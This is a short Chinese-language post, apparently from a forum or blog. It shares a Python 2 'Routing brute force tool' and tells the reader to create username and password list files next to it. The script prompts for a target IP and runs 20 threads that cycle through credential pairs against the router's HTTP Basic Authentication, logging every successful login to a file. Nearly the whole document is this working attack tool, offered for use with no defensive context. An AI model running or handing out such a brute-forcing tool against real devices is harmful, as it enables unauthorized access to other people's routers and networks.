运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....
#coding:utf-8- import base64 import urllib2 import Queue import threading,re,sys queue = Queue.Queue() class Rout_thread(threading.Thread):def __init__(self,queue,passwd):
threading.Thread.__init__(self) self.queue=queue self.passwordlist=passwd def run(self): self.user=queue.get() for self.passwd in self.passwordlist: request = urllib2.Request("http://"+target) psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd) request.add_header('Authorization', psw_base64) try: response = urllib2.urlopen(request) print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd) fp3 = open('log.txt','a') fp3.write(self.user+'||'+self.passwd+'\r\n') fp3.close() except urllib2.HTTPError: print "[-]password:%s Error!" % (self.passwd)
if __name__ == '__main__': print ''' ####################################################### # # # Routing brute force tool # # # # by:well # # # ####################################################### ''' passwordlist = [] line = 20 threads = [] global target target = raw_input("input ip:") fp =open("user.txt") fp2=open("passwd.txt") for user in fp.readlines(): queue.put(user.split('\n')[0]) for passwd in fp2.readlines(): passwordlist.append(passwd.split('\n')[0]) #print passwordlist fp.close() fp2.close() for i in range(line): a = Rout_thread(queue,passwordlist) a.start() threads.append(a) for j in threads: j.join()